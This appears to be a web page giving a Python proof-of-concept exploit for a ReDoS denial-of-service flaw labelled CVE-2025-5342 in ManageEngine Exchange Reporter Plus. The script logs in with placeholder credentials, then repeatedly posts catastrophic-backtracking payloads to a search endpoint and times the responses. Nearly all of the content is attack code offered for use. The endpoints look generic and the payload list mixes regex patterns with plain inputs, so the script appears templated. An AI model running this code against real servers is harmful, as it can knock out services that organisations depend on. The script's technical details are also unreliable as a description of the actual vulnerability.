CVE-2025-5342 ManageEngine Exchange Reporter Plus ReDOS拒绝服务漏洞

import re import time import requests # CVE-2025-5342 PoC - ReDOS in ManageEngine Exchange Reporter Plus # Target: ManageEngine Exchange Reporter Plus search module TARGET_URL = "http://target.com:8080" # Replace with target URL LOGIN_URL = f"{TARGET_URL}/api/login" SEARCH_URL = f"{TARGET_URL}/api/search" def login(): """Login to get session cookie""" session = requests.Session() # Use valid credentials or low-privilege account credentials = {"username": "lowpriv_user", "password": "password123"} try: resp = session.post(LOGIN_URL, json=credentials, timeout=10) if resp.status_code == 200: return session except: pass return None def trigger_redos(session): """Send malicious regex pattern to trigger ReDOS""" # Malicious patterns that trigger catastrophic backtracking redos_patterns = [ "a" * 100 + "!", # Long string with unmatchable char "(a+)+", # Nested quantifiers "(a|a)+", # Overlapping alternatives "(.*)*", # Greedy quantifier nesting "([a-zA-Z]+)*", # Nested character class quantifiers ] headers = {"Content-Type": "application/json"} for i, pattern in enumerate(redos_patterns): print(f"[*] Testing pattern {i+1}...") start = time.time() try: # Send to search endpoint payload = {"query": pattern, "type": "email"} resp = session.post(SEARCH_URL, json=payload, headers=headers, timeout=30) elapsed = time.time() - start print(f"[+] Pattern {i+1} response time: {elapsed:.2f}s") # If response time > 10 seconds, likely vulnerable if elapsed > 10: print(f"[!] VULNERABLE: Pattern {i+1} caused {elapsed:.2f}s delay") except requests.exceptions.Timeout: print(f"[!] VULNERABLE: Request timed out - ReDOS triggered") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("[*] CVE-2025-5342 PoC - ManageEngine Exchange Reporter Plus ReDOS") session = login() if session: trigger_redos(session) else: print("[-] Authentication failed")